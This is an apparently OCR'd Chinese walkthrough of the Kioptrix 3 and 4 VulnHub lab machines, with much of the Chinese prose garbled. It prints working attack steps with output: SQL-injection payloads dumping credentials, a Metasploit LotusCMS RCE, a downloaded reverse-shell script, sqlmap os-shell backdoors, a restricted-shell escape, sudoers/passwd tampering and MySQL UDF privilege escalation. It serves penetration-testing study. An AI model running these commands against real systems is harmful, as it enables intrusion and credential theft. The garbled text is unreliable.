W LotusCMS Administrat.. » | W Gallarific * | Lu| Problem loading page

x ik Preferences x|+

€ ) @ | kioptrix3.com/gallery/gallery.php?id=1 union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema = database

Search

[ Most Visited~ [l Offensive Security “ Kali Linux "% Kali Docs "% Kali Tools = Exploit-DB WyAircrack-ng gdKali Forums “ NetHunter “ Kali Training @& Getting Started

101 p——

Home » Ligoat Press Room

Sub Gallery

- 3

BEILRISIRERERRS.

http://kioptrix3.com/gallery/gallery.php?

Quick Links: Home RecentPhotos

Last Upload

dev_accounts,gallarific comments,gallarific_galleries,gallarific_photos.gallarific_settings,gallarific_stats,gallarific_users

id=1%20union%20select%201, group_concat(column_name),3,4,5,6%20FROM%20information_schema.columns%2

OWHERE%20table_name’%20=0x6465765f61636361756e7473#



@ UL I AUt L | g DU R UL aLy payL e e 1L -~
[ ] kioptrix3.com/gallery/qgallery.php?id=1 union select 1,group_concat{column_name),3,4,5,6 FROM information_schema.columns WHERE table _name =0x6 C Search

T Most Visitedw Jll Offensive Security N Kali Linux & Kali Docs "% Kali Tools ® Exploit-DB Wy Aircrack-ng g Kali Forums e NetHunter S Kali Training @ Getting Started
ty P 9 9 9

ot gun?/

Home » Ligoat Press Room

Quick Links: Home Recent Photos

Sub Gallery Last Upload Photos

- 3

id,username,password Photo Shoot 3 45

http://kioptrix3.com/gallery/gallery.php?

id=1%20union%20@select%201,group_concat(username,®x3a,password),3,4,5,6%20FROM%20dev_accounts#

SREGRERIFIR,

Gallarific - Mozilla Firefox

W LotusCMS Administrat... * [ W Gallarific x|k Problem loading page x 1k Preferences x +

L RO kioptrix3.com/gallery/gallery. php?id=1 union select 1,group_concat(username,0x3a,password),3,4,5,6 FROM dev_accounts3g

fi5]Most Visitedv [l Offensive Security “& Kali Linux & Kali Docs & Kali Tools = Exploit-DB Wy Aircrack-ng gl Kali Forums e, NetHunter " Kali Training @ Getting St

01—

Homx€ » Ligoat Press Rooin

Quick Links: Home RecentPhotos

Sub Gallery Last Upload

dreq:0d3eccfb887aabd50f243b3f155c0f85,loneferret: Shadcaf789d3d1d09794d8f021f40f0e
— |3

Lotus CMS il

root@kali:~# searchsploit Lotus CMS

Exploit Title | Path
| (/usr/share/exploitdb/)

Lotus CMS Fraise 3.0 - Local File Inclusion / Remote C | exploits/php/webapps/15964.py
Lotus Core CMS 1.0.1 - Remote File Inclusion | exploits/php/webapps/5866.txt
| exploits/php/remote/18565.rb
| exploits/php/webapps/16982.txt

LotusCMS 3.0 - 'eval()' Remote Command Execution (Meta
LotusCMS 3.0.3 - Multiple Vulnerabilities

Shellcodes: No Result

NERERE , B— MMM —MEEBHT
XERAH A EHMERAIZRIRIMAIBIT. =AM A AR SFE


af://n24301

SNRIX NS T,

=93, LotusCMS 3.0 - 'eval()' Remote Command Execution AIME—rbIZi4,

TR

msf > search LotusCMS

Matching Modules

Name

exploit/multi/http/lcms_php_exec
Command Execution

FIFRXAN R TS

Disclosure Date Rank Description

2011-03-03 excellent LotusCMS 3.0 eval() Remote

msf > use exploit/multi/http/lcms_php_exec

mst exploit(multi/http/lcms_php_exec) > show options

Module options (exploit/multi/http/lcms_php_exec):

Name Current Setting Required Description

Proxies no
[ooo]

RHOST yes

RPORT 80 yes

SSL false no

URI /lcms/ yes

VHOST no

Exploit target:

Id Name

© Automatic LotusCMS 3.0

A proxy chain of format type:host:port[,type:host:port]

The target address

The target port (TCP)

Negotiate SSL/TLS for outgoing connections
URI

HTTP server virtual host

msf exploit(multi/http/lcms_php_exec) > set RHOST 192.168.43.58

RHOST => 192.168.43.58

msf exploit(multi/http/lcms_php_exec) > set PAYLOAD generic/shell_bind_tcp

PAYLOAD => generic/shell_bind_tcp

mst exploit(multi/http/lcms_php_exec) > set URI /

URLI => /

mst exploit(multi/http/lcms_php_exec) > show options

Module options (exploit/multi/http/lcms_php_exec):

Name Current Setting Required Description



Proxies no A proxy chain of format type:host:port[,type:host:port]

[ooo]
RHOST 192.168.43.58 yes The target address
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
URI / yes URI
VHOST no HTTP server virtual host

Payload options (generic/shell bind_tcp):

Name  Current Setting Required Description
LPORT 4444 yes The listen port
RHOST 192.168.43.58 no The target address

Exploit target:

Id Name

0 Automatic LotusCMS 3.0

msf exploit(multi/http/lcms_php_exec) > run

[*] Started bind handler

[-1 Exploit failed [unreachable]: Rex::HostUnreachable The host (192.168.43.58:80) was
unreachable.

[*] Exploit completed, but no session was created.

msf exploit(multi/http/lcms_php_exec) > set RHOST 192.168.43.158

RHOST => 192.168.43.158

msf exploit(multi/http/lcms_php_exec) > run

[*] Started bind handler

[*] Using found page param: /index.php?page=index

[*] Sending exploit ...

[*] Command shell session 1 opened (192.168.43.177:44505 -> 192.168.43.158:4444) at 2018-05-08
10:02:56 -0400

whoami
www-data

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
1s

cache

core

data
favicon.ico
gallery
gnu-1lgpl.txt
index.php



modules

style

update.php

pwd
/home/www/kioptrix3.com

HE=RE cd SHN gallery BREERT,

XEBRE 1s -1 AJLIEER gallery BRAISE

1s -1 gallery

total 156

drwxr-xr-x 2 root root 4096 Apr 12 2011 BACK

root root 3573 Oct 10 2009 db.sql

root root 252 Apr 12 2011 g.php

root root 4096 Apr 12 2011 gadmin

root root 214 Apr 12 2011 gallery.php
root root 1440 Apr 14 2011 gconfig.php
root root 297 Apr 12 2011 gfooter.php
root root 38771 Apr 12 2011 gfunctions.php
root root 1009 Apr 12 2011 gheader.php
root root 249 Apr 12 2011 index.php
root root 10340 Apr 12 2011 install.BAK
root root 212 Apr 12 2011 login.php
root root 213 Apr 12 2011 logout.php
root root 249 Apr 12 2011 p.php

-rw-r--r-- 1
1
3
1
1
1
1
1
1
1
1
1
1

drwxrwxrwx 2 root root 4096 Apr 12 2011 photos
1
1
1
1
1
1
2
1
1
1
6
1
1

-rW-r--r--
drwxr-xr-x
-rw-r--r--
-rW-r--r--
-rw-r--r--
-rw-r--r--
-rw-r--r--
-PW-r--r--
-rw-r--r--
-rw-r--r--
-rW-r--r--
-rW-r--r--
-PW-P--r-- root root 213 Apr 12 2011 photos.php

root root 219 Apr 12 2011 post_comment.php
root root 214 Apr 12 2011 profile.php

root root 87 Oct 10 2009 readme.html

root root 213 Apr 12 2011 recent.php

root root 215 Apr 12 2011 register.php
root root 4096 Apr 13 2011 scopbin

root root 213 Apr 12 2011 search.php

root root 216 Apr 12 2011 slideshow.php
root root 211 Apr 12 2011 tags.php

root root 4096 Apr 12 2011 themes

root root 56 Oct 10 2009 version.txt

root root 211 Apr 12 2011 vote.php

-rW-r--r--
-rW-r--r--
-rW-r--r--
-rw-r--r--
—PW-R=-Pr--
drwxr-xr-x
-rw-r--r--
-rw-r--r--
-rW-r--r--
drwxr-xr-x
-rw-r--r--

-rPW-r--r--

&I gconfig.php ECENAE , cat EBCENG.

$GLOBALS["gallarific_path"] = "http://kioptrix3.com/gallery";

$GLOBALS["gallarific_mysql_server"] = "localhost";
$GLOBALS["gallarific_mysql_database"] = "gallery";
$GLOBALS[ "gallarific_mysql_username"] = "root";

$GLOBALS["gallarific_mysql_password"] = "fuckeyou";

lotusRCE.sh


af://n24325

wget https://raw.githubusercontent.com/Hood3dRobln/LotusCMS-Exploit/master/lotusRCE.sh

root@kali:~# chmod +x lotusRCE.sh
root@kali:~# ./lotusRCE.sh 192.168.43.158

Path found, now to check for vuln....

</html>Hood3dRobln
Regex found, site is vulnerable to PHP Code Injection!

About to try and inject reverse shell....
what IP to use?

192.168.43.177

What PORT?

2333

OK, open your local listener and choose the method for back connect:

1) NetCat -e 3) NetCat Backpipe 5) Exit
2) NetCat /dev/tcp 4) NetCat FIFO
#? 1

root@kali:/tmp# nc -lvp 2333

listening on [any] 2333 ...

connect to [192.168.43.177] from kioptrix3.com [192.168.43.158] 56259
whoami

www-data

id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

BURRIEFH
SAMZAISQUENEEIN,

Database: gallery
Table: dev_accounts
[2 entries]

4mmmmmmm e T L T T +
| id | username | password |
Toooadsooosooonnos Tocooooosossonnonoosoonononooo0sE00oo00000000s +
| 1 | dreg | ed3eccfb887aabd50f243b3f155c0f85 (Mast3r)

| 2 | loneferret | Sbadcatf789d3d1d09794d8f021f40f0e (starwars) |
Sosoadhsooosooonnos fosoooooonssonnonooooononEooEo0oEnooo00000000s +

HHTSSHIERE , KMF—NMWSATRERESKRIER |, THERIN.
EEE_NIKS


af://n24330

root@kali:~# ssh loneferret@192.168.43.158
loneferret@192.168.43.158's password:
Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 1686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/

Last login: Sat Apr 16 ©8:51:58 2011 from 192.168.1.106
loneferret@Kioptrix3:~$ 1s

checksec.sh CompanyPolicy.README

F1E— CompanyPolicy.README 4.

checksec.sh CompanyPolicy.README

loneferret@Kioptrix3:~$ cat CompanyPolicy.README

Hello new employee,

It is company policy here to use our newly installed software for editing, creating and viewing
files.

Please use the command 'sudo ht'.

Failure to do so will result in you immediate termination.

DG
CEO

FHELCRLIR , BEEIENERENULUET sudo ht XIHHITHRE | S,
Ekali ™=

loneferret@Kioptrix3:~$ sudo ht
Error opening terminal: xterm-256color.

IREERBEFTFF— xterm-256color. K.,

EIZIAHIAEEF xshell EZEETLAFTHAY



File Edit Windows Help 19:27 0B.05.2018
i logwindw —MM¥ ——M M

appname
config = /home/loneferret/.htcfg2
couldn't load configuration file, using defaults

ILEAT4%E F3 , ATLAEIN /etc/passwd BE /etc/sudoers SHRHIT44REE



1B/etc/passwd ZHEI B AINBRIEF] root —1FRITE],

File Edit Windows Help Texteditor 19:24 08.05.2018
* Jetc/passwd —M8M8M
root:x:8:8:root: /root: /bin/bash
daemon:x:1:1:daemon: fusr/sbin: /bin/sh
:bin: /bin: /bin/sh

:3:5ys: /dev: /bin/sh

4:65534:5ync: /bin: /bin/sync
( 5:X:5:60:games : /usr/games: /bin/sh
man:x:6:12:man: /var/cache/man: /bin/sh
Lp:x:7:7:1p: /var/spool/Lpd: /bin/sh
mail:x:8:8:mail:/var/mail: /bin/sh
news:x:9:9:news: /var/spool/news: /bin/sh
uucp:x:16:18:uucp: /var/spool/uucp: /bin/sh
proxy:x:13:13:proxy: /bin: /bin/sh
www-data:x:33:33:www-data: /var/www: /bin/sh
backup:x:34:34:backup: /var/backups: /bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd: /var/run/ircd: /bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody: x:65534: 65534 :nobody : /nonexistent: /bin/sh
libuuid:x:186:101: : /var,/Lib/Libuuid: /bin/sh
dhcp:x:181:102: : /nonexistent: /bin/false
syslog:x:102:103: : /home/syslog: /bin/false
klog:x:1063:184: : /home/klog: /bin/false
mysql:x:184:108:MySOL Server,,,:/var/Lib/mysql:/bin/false
sshd:x:185:65534: : /var/run/sshd: /usr/sbin/nologin
loneferret:x:0: : loneferret, ,, : /home/Loneferret: /bin/bash
dreg:x:1001:1801:Dreg Gevans,®,555-5566, : /home/dreg: /bin/rbash




tETLAE etc/sudoers HRIAFRISPRIESFN root —HFRIA],

File Edit Windows Help Texteditor 19:28 08.05.2018
- /etc/sudoers ————

# fetc/sudoers

#

# This file MUST be edited with the 'visudo' command as root.

#

# See the man page for details on how to write a sudoers file.

#

Defaults env_reset

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification

root ALL=(ALL) ALL

loneferret ALL=(ALL} ALL

# Uncomment to allow members of group sudo to not need a password
# (Note that later entries override this, so you might need to move

# it further down)
# %sudo ALL=NOPASSWD: ALL

# Members of the admin group may gain root privileges
%admin ALL=(ALL)} ALL

BB HRSSH,

root@kali:~# ssh loneferret®192.168.43.158

loneferret@192.168.43.158's password:

Last login: Tue May 8 19:27:01 2018 from uknow-pc

Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/

root@Kioptrix3:~# id

uid=0(root) gid=0(root) groups=0(root),100(users)
root@Kioptrix3:~# whoami

root

HAITERE root ET .
[

=


af://n24367

BORSEIIS RN , KM TRSHSRIEM , F—2&IMT phpmyadmin FHEIHAS BERIGARIXEEAEEE]
shell, BE2&I phpmyadmin Z&E T ANMFLE general log THE,

BIMREXEBNSQLEN , ATLAR sqlmap BBHE , 2 root R, ZEi{A os-shell Fshell, @I T ZBIFHITE
SHITERNSEITIRER  BRERLEEAN., FHEEBFIRAIER,

1E phpmyadmin NEIGEHIT INTO OUTFILE BRE, SB7< #1 - Can't create/write to file , MEMRSHIITED
ERHRERERBERRH.

EREIR T I HEEMEE LENFIAR  XNMESEIXHEETERADS , 88— shell, 2AWRG
B ERREEERBERN.

L RRPRREZ 22X SMAAN | (BERLHRINGAEER. BEXRLRPEERFEITRS , MTJUR
vulnhub BUSCEE Y |, RRICIEN A EIRREZIEMRZ.

ERNXEINGERAERNEEEE , EREREXMNIREFFERT Llinu M TFR—EZRI—EEZAIAIR,

#1731 VulnhubiEiElliR4s3]-Kioptrix 4

title: VulnhubigiEMRZ>)-Kioptrix 4 date: 2018-05-17 13:46:30 tags:

& : Ukonw

ERUNER
F3 nmap #H{TimO8H,

root@kali:~# nmap -sS -A 10.32.58.187

Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-17 01:57 EDT

Nmap scan report for 10.32.58.187

Host is up (0.00037s latency).

Not shown: 566 closed ports, 430 filtered ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 4.7pl Debian 8ubuntul.2 (protocol 2.0)

| ssh-hostkey:

| 1024 9b:ad:4f:f2:1e:¢5:12:39:14:b9:d3:20:0b:e8:41:71 (DSA)

| 2048 85:40:c6:d5:41:26:05:34:ad:f8:6e:f2:a7:6b:4f:0e (RSA)

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
| _http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
| _http-title: Site doesn't have a title (text/html).

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

445/tcp open netbios-ssn Samba smbd 3.0.28a (workgroup: WORKGROUP)

MAC Address: 00:0C:29:38:2D:6F (VMware)

Device type: general purpose

Running: Linux 2.6.X

OS CPE: cpe:/o:linux:1linux_kernel:2.6


af://n24382
af://n24385
af://n24391

0S details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:

| _clock-skew: mean: 10h@om@@s, deviation: 2h49m43s, median: 7h59m59s

| _nbstat: NetBIOS name: KIOPTRIX4, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:

|  0S: Unix (Samba 3.0.28a)

|  Computer name: Kioptrix4

|  NetBIOS computer name:

| Domain name: localdomain

|  FQDN: Kioptrix4.localdomain

| System time: 2018-05-17T09:58:07-04:00
| smb-security-mode:

| account_used: guest

| authentication_level: user

| challenge_response: supported

| message_signing: disabled (dangerous, but default)
| _smb2-time: Protocol negotiation failed (SMB2)

TRACEROUTE
HOP RTT ADDRESS
1 ©0.37 ms 10.32.58.187

0S and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.81 seconds

MFEEERATLIEE] , PR TROER

e 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.28a (workgroup: WORKGROUP)

i31A)80im 1 FAYWEBARSS.



[ W http://192..../index.php * | +

€ 9 | P, g |192.168.43.158/index.php ¢!

fi5|Most Visitedv il Offensive Security % Kali Linux & Kali Docs “ Kali Tools = Exploit-DB Wy Aircrack-ng gdKali Forums & NetHunter " Kali Training & Getting Started

Member Login

Username : | admin |

Password : | |

LigGoat secure Legin Copyright (c) 2013

EIPAEEIEEST Tor 1=1# SHIKM,
552788 admin:admin HEENRAY,

=93, admin: ', HIWREE., FIREE TR /var/www/checklogin.php

| W http//192....cklogin.php % | +

€ ) @ A |192.168.43.158/checklogin.php ¢ ||Q Search

[ Most Visitedv JlOffensive Security & Kali Linux “§ Kali Docs & Kali Tools & Exploit-DB-Wg Aircrack-ng gdKali Forums S\ NetHunter & Kali Training @ Getting Started

Warning: mysqgl_num_rows(): supplied argument is not a valid MySQL result resource in /var/www/checklogin.php pn line 28
Wrong Username or Password
Try Again

TF{EPOSTELEN,
iR #U A

sqlmapi#{TSQLiEAN

sqlmap -u http://10.32.58.187/checklogin.php --data="myusername=admin&mypassword=123&Submit=Login" -p

mypassword --current-user --current-db --is-dba

EENRSIERBE 3028k4 5#F n .

sqlmap identified the following injection point(s) with a total of 253 HTTP(s) requests:
Parameter: mypassword (POST)

Type: boolean-based blind

Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)

Payload: myusername=admin&mypassword=-8260' OR 6555=6555#&Submit=Login

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind


af://n24419
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Payload: myusername=admin&mypassword=123"' OR SLEEP(5)-- UeQF&Submit=Login
[02:00:45] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 5.0.12
[02:00:45] [INFO] fetching current user
[02:00:45] [WARNING] running in a single-thread mode. Please consider usage of option '--threads'
for faster data retrieval
[02:00:45] [INFO] retrieved: root@localhost
current user: 'root@localhost’
[02:00:45] [INFO] fetching current database
[02:00:45] [INFO] retrieved: members
current database: 'members’
[02:00:45] [INFO] testing if current user is DBA
[02:00:45] [INFO] fetching current user
current user is DBA: True
[02:00:45] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.32.58.187"'

[*] shutting down at ©2:00:45

BLENGEIBFRED

Database: members

Table: members

[2 entries]

ok ST ET Hmmm e +
| id | username | password |
R s ST T +
| 1 | john | MyNameIsJohn |
| 2 | robert | ADGAdsafdfwtdgadfga== |

R T B R T T TR TR +

1B1d --0s-shell S AN— webshell ,

root@kali:~# sqlmap -u http://10.32.58.187/checklogin.php --
data="myusername=admin&mypassword=123&Submit=Login" -p mypassword --os-shell

_H__
S __ {1.2.4#stable}
[_ -1 . [.] P
Y I DY

[_lv | | http://sqlmap.org

[!'] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is
illegal. It is the end user's responsibility to obey all applicable local, state and federal
laws. Developers assume no liability and are not responsible for any misuse or damage caused by
this program

[*] starting at 02:09:06



[02:09:06] [INFO] resuming back-end DBMS 'mysql’
[02:09:06] [INFO] testing connection to the target URL
[02:09:06] [INFO] heuristics detected web page charset 'ascii'
sqlmap resumed the following injection point(s) from stored session:
Parameter: mypassword (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: myusername=admin&mypassword=-8260' OR 6555=6555#&Submit=Login

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: myusername=admin&mypassword=123"' OR SLEEP(5)-- UeQF&Submit=Login
[02:09:06] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 5.0.12
[02:09:06] [INFO] going to use a web backdoor for command prompt
[62:09:06] [INFO] fingerprinting the back-end DBMS operating system
[02:09:06] [INFO] the back-end DBMS operating system is Linux
which web application language does the web server support?
[1] AsSP
[2] ASPX
[3] ISP
[4] PHP (default)
> 4
[02:09:08] [INFO] retrieved the web server document root: '/var/www'
[02:09:08] [INFO] retrieved web server absolute paths: '/var/www/checklogin.php'
[02:09:08] [INFO] trying to upload the file stager on '/var/www/' via LIMIT 'LINES TERMINATED BY'
method
[02:09:08] [INFO] the file stager has been successfully uploaded on '/var/www/' -
http://10.32.58.187:80/tmpuadle.php
[02:09:08] [WARNING] unable to upload the file through the web file stager to '/var/www/'
[02:09:08] [WARNING] backdoor has not been successfully uploaded through the file stager possibly
because the user running the web server process has not write privileges over the folder where
the user running the DBMS process was able to upload the file stager or because the DBMS and web
server sit on different servers
do you want to try the same method used for the file stager? [Y/n]
[02:09:09] [INFO] the backdoor has been successfully uploaded on '/var/www/' -
http://10.32.58.187:80/tmpbcphh.php
[02:09:09] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> id
do you want to retrieve the command standard output? [Y/n/a]
command standard output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)’
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a]
command standard output: 'www-data’
os-shell> cat checklogin.php
do you want to retrieve the command standard output? [Y/n/a]
command standard output:

<?php



ob_start();
$host="1localhost"; // Host name
$username="root"; // Mysql username

$password=""; // Mysql password
$db_name="members"; // Database name

$tbl_name="members"; // Table name
EENRE/N. (BRERTHEENIKS L.
Bid SSHiZEH:
FASQLENBEINAF B EBSSHER,

root@kali:~# ssh john@10.32.58.187

The authenticity of host '10.32.58.187 (10.32.58.187)' can't be established.
RSA key fingerprint is SHA256:3fqlLtTAindnY7CGwxoXJ9M2rQF6nn35SFMTVV561lww.
Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '10.32.58.187' (RSA) to the list of known hosts.
john@10.32.58.187"'s password:

Welcome to LigGoat Security Systems - We are Watching

== Welcome LigGoat Employee ==

LigGoat Shell is in place so you don't screw up

Type '?' or 'help' to get the list of allowed commands

john:~$ id

*¥** unknown command: id

john:~$ ?

cd clear echo exit help 11 1path 1s

john:~$ help help

Limited Shell (1lshell) limited help.

Cheers.

MXEZATTLFI BRI SHE
cd clear echo exit help 11 1path 1s

ERHPE—NRE echo
BATTLAR) BBEEI— bashazHshell
john:~$ echo os.system('/bin/bash")

john@Kioptrix4:~$ id
uid=1001(john) gid=1001(john) groups=1001(john)

RURE R SRR AR,

MySQLEUREEFRIN

FRASQLENSRREIEEK S ZRERMySQLEUERE.

john@Kioptrix4:~$ mysql -u root -p
Enter password:


af://n24434
af://n24449

Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 3520
Server version: 5.0.5l1a-3ubuntu5.4 (Ubuntu)

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql> status;

mysql Ver 14.12 Distrib 5.0.51a, for debian-linux-gnu (i486) using readline 5.2

Connection id: 3520

Current database:

Current user: root@localhost
SSL: Not in use
Current pager: stdout

[}

Using outfile:

Using delimiter: H

Server version: 5.0.51a-3ubuntu5.4 (Ubuntu)
Protocol version: 10

Connection: Localhost via UNIX socket
Server characterset: latinl

Db characterset: latinl

Client characterset: latinl

Conn. characterset: latinl

UNIX socket: /var/run/mysqld/mysqld.sock
Uptime: 1 hour 10 min 47 sec

=i mysql udf 2% .

AEWindowsIME T |, fiTm<

USE mysql;

CREATE TABLE npn(line blob);

INSERT INTO npn values(load_file('C://xampplite//htdocs//mail//1ib_mysqludf_sys.dll'));
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//1ib_mysqludf_sys_32.d1ll";
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.d11";

SELECT sys_exec("net user npn npnl2345678 /add");

SELECT sys_exec("net localgroup Administrators npn /add");

SCHIEM,
A LI IS FiHATLINUXERE FRYUD FERUE(E,
B E 1ib_mysqludf_sys.so FIBER.

john@Kioptrix4:~$ whereis 1lib_mysqludf_sys.so
lib_mysqludf_sys: /usr/lib/lib_mysqludf_sys.so

mysql> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A



Database changed

mysql> create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
ERROR 1125 (HY@00): Function 'sys_exec' already exists

mysql> select sys_exec('id > /tmp/out; chown john.john /tmp/out');

ERROR 2006 (HYQ00): MySQL server has gone away

No connection. Trying to reconnect...

Connection id: 1

Current database: mysql

1 row in set (0.00 sec)

mysql> quit

Bye

john@Kioptrix4:~$ cat /tmp/out
uid=0(root) gid=0(root)

XHEEFIE sys_exec() REHUTHEREANRT /tmp/out T,
BT LSRR rooti R,

AJUS— N dESEFHITRSHIT

#include <stdio.h>

#include <sys/types.h>

#include <unistd.h>

int main(void)

{

setuid(9); setgid(@); system(“/bin/bash”);
}

At CAEEI BREEL.
XEFAwget FElFG— NERER., AJRERIKIEHEIERE.

mysql> SELECT sys_exec('usermod -a -G admin');

ERROR 2013 (HYQ00): Lost connection to MySQL server during query
mysql> SELECT sys_exec('usermod -a -G admin john');

ERROR 2006 (HYQ0Q): MySQL server has gone away

No connection. Trying to reconnect...

Connection id: 1

Current database: mysql



1 row in set (0.07 sec)

FFE SELECT sys_exec('usermod -a -G admin'); 4§ john JOIANEIERRA

john@Kioptrix4:/tmp$ sudo su

[sudo] password for john:
root@Kioptrix4:/tmp# id

uid=0@(root) gid=0(root) groups=0(root)
root@Kioptrix4:/tmp# whoami

root

XA 11BE T rooti R,
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